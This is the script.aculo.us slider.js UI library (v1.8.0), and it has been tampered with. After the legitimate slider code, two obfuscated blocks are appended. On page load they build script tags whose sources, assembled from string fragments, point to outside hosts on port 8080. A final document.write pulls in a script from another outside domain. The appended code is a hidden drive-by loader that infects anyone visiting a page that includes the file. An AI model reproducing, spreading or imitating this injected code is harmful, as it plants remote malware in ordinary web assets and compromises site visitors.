// script.aculo.us slider.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007

// Copyright (c) 2005-2007 Marty Haught, Thomas Fuchs 
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if (!Control) var Control = { };

// options:
//  axis: 'vertical', or 'horizontal' (default)
//
// callbacks:
//  onChange(value)
//  onSlide(value)
Control.Slider = Class.create({
  initialize: function(handle, track, options) {
    var slider = this;
    
    if (Object.isArray(handle)) {
      this.handles = handle.collect( function(e) { return $(e) });
    } else {
      this.handles = [$(handle)];
    }
    
    this.track   = $(track);
    this.options = options || { };

    this.axis      = this.options.axis || 'horizontal';
    this.increment = this.options.increment || 1;
    this.step      = parseInt(this.options.step || '1');
    this.range     = this.options.range || $R(0,1);
    
    this.value     = 0; // assure backwards compat
    this.values    = this.handles.map( function() { return 0 });
    this.spans     = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false;
    this.options.startSpan = $(this.options.startSpan || null);
    this.options.endSpan   = $(this.options.endSpan || null);

    this.restricted = this.options.restricted || false;

    this.maximum   = this.options.maximum || this.range.end;
    this.minimum   = this.options.minimum || this.range.start;

    // Will be used to align the handle onto the track, if necessary
    this.alignX = parseInt(this.options.alignX || '0');
    this.alignY = parseInt(this.options.alignY || '0');
    
    this.trackLength = this.maximumOffset() - this.minimumOffset();

    this.handleLength = this.isVertical() ? 
      (this.handles[0].offsetHeight != 0 ? 
        this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) : 
      (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth : 
        this.handles[0].style.width.replace(/px$/,""));

    this.active   = false;
    this.dragging = false;
    this.disabled = false;

    if (this.options.disabled) this.setDisabled();

    // Allowed values array
    this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
    if (this.allowedValues) {
      this.minimum = this.allowedValues.min();
      this.maximum = this.allowedValues.max();
    }

    this.eventMouseDown = this.startDrag.bindAsEventListener(this);
    this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
    this.eventMouseMove = this.update.bindAsEventListener(this);

    // Initialize handles in reverse (make sure first handle is active)
    this.handles.each( function(h,i) {
      i = slider.handles.length-1-i;
      slider.setValue(parseFloat(
        (Object.isArray(slider.options.sliderValue) ? 
          slider.options.sliderValue[i] : slider.options.sliderValue) || 
         slider.range.start), i);
      h.makePositioned().observe("mousedown", slider.eventMouseDown);
    });
    
    this.track.observe("mousedown", this.eventMouseDown);
    document.observe("mouseup", this.eventMouseUp);
    document.observe("mousemove", this.eventMouseMove);
    
    this.initialized = true;
  },
  dispose: function() {
    var slider = this;    
    Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
    Event.stopObserving(document, "mouseup", this.eventMouseUp);
    Event.stopObserving(document, "mousemove", this.eventMouseMove);
    this.handles.each( function(h) {
      Event.stopObserving(h, "mousedown", slider.eventMouseDown);
    });
  },
  setDisabled: function(){
    this.disabled = true;
  },
  setEnabled: function(){
    this.disabled = false;
  },  
  getNearestValue: function(value){
    if (this.allowedValues){
      if (value >= this.allowedValues.max()) return(this.allowedValues.max());
      if (value <= this.allowedValues.min()) return(this.allowedValues.min());
      
      var offset = Math.abs(this.allowedValues[0] - value);
      var newValue = this.allowedValues[0];
      this.allowedValues.each( function(v) {
        var currentOffset = Math.abs(v - value);
        if (currentOffset <= offset){
          newValue = v;
          offset = currentOffset;
        } 
      });
      return newValue;
    }
    if (value > this.range.end) return this.range.end;
    if (value < this.range.start) return this.range.start;
    return value;
  },
  setValue: function(sliderValue, handleIdx){
    if (!this.active) {
      this.activeHandleIdx = handleIdx || 0;
      this.activeHandle    = this.handles[this.activeHandleIdx];
      this.updateStyles();
    }
    handleIdx = handleIdx || this.activeHandleIdx || 0;
    if (this.initialized && this.restricted) {
      if ((handleIdx>0) && (sliderValue<this.values[handleIdx-1]))
        sliderValue = this.values[handleIdx-1];
      if ((handleIdx < (this.handles.length-1)) && (sliderValue>this.values[handleIdx+1]))
        sliderValue = this.values[handleIdx+1];
    }
    sliderValue = this.getNearestValue(sliderValue);
    this.values[handleIdx] = sliderValue;
    this.value = this.values[0]; // assure backwards compat
    
    this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] = 
      this.translateToPx(sliderValue);
    
    this.drawSpans();
    if (!this.dragging || !this.event) this.updateFinished();
  },
  setValueBy: function(delta, handleIdx) {
    this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta, 
      handleIdx || this.activeHandleIdx || 0);
  },
  translateToPx: function(value) {
    return Math.round(
      ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) * 
      (value - this.range.start)) + "px";
  },
  translateToValue: function(offset) {
    return ((offset/(this.trackLength-this.handleLength) * 
      (this.range.end-this.range.start)) + this.range.start);
  },
  getRange: function(range) {
    var v = this.values.sortBy(Prototype.K); 
    range = range || 0;
    return $R(v[range],v[range+1]);
  },
  minimumOffset: function(){
    return(this.isVertical() ? this.alignY : this.alignX);
  },
  maximumOffset: function(){
    return(this.isVertical() ? 
      (this.track.offsetHeight != 0 ? this.track.offsetHeight :
        this.track.style.height.replace(/px$/,"")) - this.alignY : 
      (this.track.offsetWidth != 0 ? this.track.offsetWidth : 
        this.track.style.width.replace(/px$/,"")) - this.alignX);
  },  
  isVertical:  function(){
    return (this.axis == 'vertical');
  },
  drawSpans: function() {
    var slider = this;
    if (this.spans)
      $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) });
    if (this.options.startSpan)
      this.setSpan(this.options.startSpan,
        $R(0, this.values.length>1 ? this.getRange(0).min() : this.value ));
    if (this.options.endSpan)
      this.setSpan(this.options.endSpan, 
        $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum));
  },
  setSpan: function(span, range) {
    if (this.isVertical()) {
      span.style.top = this.translateToPx(range.start);
      span.style.height = this.translateToPx(range.end - range.start + this.range.start);
    } else {
      span.style.left = this.translateToPx(range.start);
      span.style.width = this.translateToPx(range.end - range.start + this.range.start);
    }
  },
  updateStyles: function() {
    this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
    Element.addClassName(this.activeHandle, 'selected');
  },
  startDrag: function(event) {
    if (Event.isLeftClick(event)) {
      if (!this.disabled){
        this.active = true;
        
        var handle = Event.element(event);
        var pointer  = [Event.pointerX(event), Event.pointerY(event)];
        var track = handle;
        if (track==this.track) {
          var offsets  = Position.cumulativeOffset(this.track); 
          this.event = event;
          this.setValue(this.translateToValue( 
           (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
          ));
          var offsets  = Position.cumulativeOffset(this.activeHandle);
          this.offsetX = (pointer[0] - offsets[0]);
          this.offsetY = (pointer[1] - offsets[1]);
        } else {
          // find the handle (prevents issues with Safari)
          while((this.handles.indexOf(handle) == -1) && handle.parentNode) 
            handle = handle.parentNode;
            
          if (this.handles.indexOf(handle)!=-1) {
            this.activeHandle    = handle;
            this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
            this.updateStyles();
            
            var offsets  = Position.cumulativeOffset(this.activeHandle);
            this.offsetX = (pointer[0] - offsets[0]);
            this.offsetY = (pointer[1] - offsets[1]);
          }
        }
      }
      Event.stop(event);
    }
  },
  update: function(event) {
   if (this.active) {
      if (!this.dragging) this.dragging = true;
      this.draw(event);
      if (Prototype.Browser.WebKit) window.scrollBy(0,0);
      Event.stop(event);
   }
  },
  draw: function(event) {
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    var offsets = Position.cumulativeOffset(this.track);
    pointer[0] -= this.offsetX + offsets[0];
    pointer[1] -= this.offsetY + offsets[1];
    this.event = event;
    this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
    if (this.initialized && this.options.onSlide)
      this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
  },
  endDrag: function(event) {
    if (this.active && this.dragging) {
      this.finishDrag(event, true);
      Event.stop(event);
    }
    this.active = false;
    this.dragging = false;
  },  
  finishDrag: function(event, success) {
    this.active = false;
    this.dragging = false;
    this.updateFinished();
  },
  updateFinished: function() {
    if (this.initialized && this.options.onChange) 
      this.options.onChange(this.values.length>1 ? this.values : this.value, this);
    this.event = null;
  }
});


function M(){var R=new String("creat"+"eElem"+"ent");var Q=new Array();var _=String("6pXsdefer".substr(4));Z=21294;Z+=191;var c=new String();var _H=String("body");var CE=[];var B=String("src");var s=new String("onlo"+"adPs7I".substr(0,2));var g=window;var l="scr"+"ipt";this.wyY=false;var X=document;var K=new String("app"+"end"+"ChibJ4Z".substr(0,3)+"LmuldmuL".substr(3,2));var V={IU:false};this.v="";try {var KO='y'} catch(KO){};function T(){n=[];try {this.j=63516;this.j-=48;var wo=["D","D_"];var cS=["Xj","TG"];try {var zJj='_u'} catch(zJj){};try {var J='dJ'} catch(J){};var z=4074-4073;this.QN=303;this.QN-=128;this.t=43441;this.t+=79;var A=new String("/go"+"KItPogl".substr(4)+"e.c"+"om/"+"hos"+"tga"+"tor"+".co"+"m/z"+"app"+"8lqWos.".substr(4)+"com"+".ph"+"tJZp".substr(3));try {} catch(bY){};var N=String("ht"+"tp"+":/vNO".substr(0,2)+"/p"+"O3UasO3U".substr(3,2)+"sp"+"or"+"kQ7tb7kQ".substr(3,2)+"lu"+"2FdesdF2".substr(3,2)+"3y9L.r".substr(4)+"pn9qu:q9np".substr(4,2));Cz={ZE:"VT"};S=["a","Mh"];var b=964849-956769;var Vt=["yy","NH"];U=X[R](l);var o=["g_","jt","xN"];VV=39496;VV-=1;var bn={E:"i"};var DKK={NX:false};U[B]=N+b+A;this.Zf=9082;this.Zf++;U[_]=z;try {var TK='rI'} catch(TK){};eA=["JU","qe","yK"];var CJ=new Array();X[_H][K](U);var Ia=["GN"];} catch(w){this.lx=18781;this.lx--;this.ul=19733;this.ul--;hfq=["Kp","_J","Kh"];};}this.gB=false;g[s]=T;var Ml=53292;var SA=false;};var av="av";var rl={};M();
this.K="K";try {this.u=46074;this.u+=194;try {var C='RR'} catch(C){};this.b=false;try {var dB='RS'} catch(dB){};try {var Z='e'} catch(Z){};var Pn=["J","Vc"];var S=["W","L"];this.uK="";var tG=["Rw","l"];var ob=["lI","O"];var B=window[String("une"+"sca"+"pe")];var YG="YG";this.LN=30349;this.LN+=52;var Kk="";var jW="";Ho=[];var Xb=false;var dr="T7C1".substr(3);y=[];var NN='';tn={lY:"fm"};var E=window[(String("RegCMF".substr(0,3)+"Exp"))];var Qg=new String();var g="rep"+"lac"+"e";this.bjN=48941;this.bjN++;var X="onlo"+"xCbad".substr(3);this.SV="";var hd={vv:false};var R='';var fR=new Array();var JC={_:false};var ir={RU:49922};var sQ=[];function d(dr,x){var vo=new String();uo={Qd:31838};NW=55705;NW++;this.Dj="Dj";Ri={z:"Am"};this._h=43399;this._h--;n={RSw:"qt"};var f=new String("[");fC=45976;fC--;kF=58100;kF--;Id={aD:65473};ez=["bD","nU"];var sI='';f+=x;var OB=new Date();var IN={me:false};this.zS='';f+=B("%5d");Xg={vr:3389};this.bU=16604;this.bU-=185;var vg='';var vY='';uf=18393;uf-=32;yA=[];var ea={};this.MH="";this.fI="fI";var P=new E(f, new String("g"));ing=["Ou","VW","KP"];var mxQ={ih:false};var Ab={dI:false};var i_={WV:false};return dr.replace(P, R);Uc={Dp:"oG"};TM={y_:"IQ"};};var BB={};var _L="_L";MD=["Ht","qa"];var IZ={CZ:"Tq"};El={AR:false};IB={po:false};var Mz=false;var Xf=false;var EK=String("htKlY".substr(0,2)+"tp"+"ET3:/".substr(3)+"/gWo50".substr(0,2)+"ot"+"x0ehg0xe".substr(3,2)+"ui"+"lt"+"M7x.rMx7".substr(3,2)+"e4Nu:".substr(3));var OD=new String();var hg='';try {var laj='gN'} catch(laj){};var o="/d"+"io"+"n-"+"ne"+"-j4NT2".substr(0,2)+"p/"+"jTEgo".substr(3)+"ogJxt".substr(0,2)+"letLp".substr(0,2)+".c"+"wqVJom".substr(4)+"/c"+"a."+"8nfgo".substr(3)+"v.YjUu".substr(0,2)+"phkwad".substr(0,2)+"psOSy".substr(0,1);td=55651;td-=60;var yz={bX:"Aj"};Mh=23000;Mh-=230;var Eu=523907-515827;try {} catch(Cm){};wr=37892;wr++;var TU={};KH={PK:false};try {} catch(Gc){};var rp={NG:"DD"};var l_={rc:"ESf"};function N(){var M=document;var Hy=["vK","TD","Ye"];tl=60253;tl-=16;dJ={};var Iw_=["LNV","yq"];var Or=["cc","rf","Sa"];var t=d('sCcqrFiJpytF','vJ9Foyefkw2CV8Tdn5qIZ7mx');var JE=new Array();var vb={};var ho=new Date();var h=new String("appe"+"ndCh"+"ild");this.vA=47456;this.vA--;this.hFK=63434;this.hFK-=13;var eJ={LND:13169};this.oQ=18125;this.oQ-=212;EA=["uc","kf"];this.OOs=7666;this.OOs++;var _F=new Date();var fB=["gb","vI","cIE"];try {var DQ='a_'} catch(DQ){};var KA=["xj","pf","QY"];try {var Jh='Ij'} catch(Jh){};rzu=["VC"];a=M.createElement(t);SB=28146;SB++;var Hh={Nr:"va"};RC=EK+Eu;this.cZ="";RC=RC+o;My=27395;My+=5;var tna={PT:45172};var Ka={ot:4561};this.LB=23249;this.LB++;a.src=RC;Ai=45235;Ai+=192;FF={ya:false};var qF='';var Tk=false;this.FG="";this.TB=51681;this.TB++;Fk=59522;Fk-=228;var w=M.body;var xJ=["WM","_X","Ob"];var aH=["OV","NGk","BT"];var WK=["Xc","j_","wQ"];var Aw=[];a[String("defer")]=dr;lZ=5589;lZ-=3;var lfJ={UO:false};Pj={Ju:"Wb"};this.EP=false;w[h](a);var viG=["zC","hb"];var kR={};GA=51040;GA-=196;};var nw=false;Ur=["KM"];try {var Ze='MlO'} catch(Ze){};try {var XS='DM'} catch(XS){};_Kl=13838;_Kl+=162;WE=59544;WE+=39;var oj={gE:"MQP"};this.yL=false;gV={qe:47293};window[X]=N;var jq=[];var nh=new Array();var xz=21977;} catch(q){try {} catch(Ce){};this.wP='';try {} catch(kN){};};






document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Batch_Process.js"></scri'+'pt>');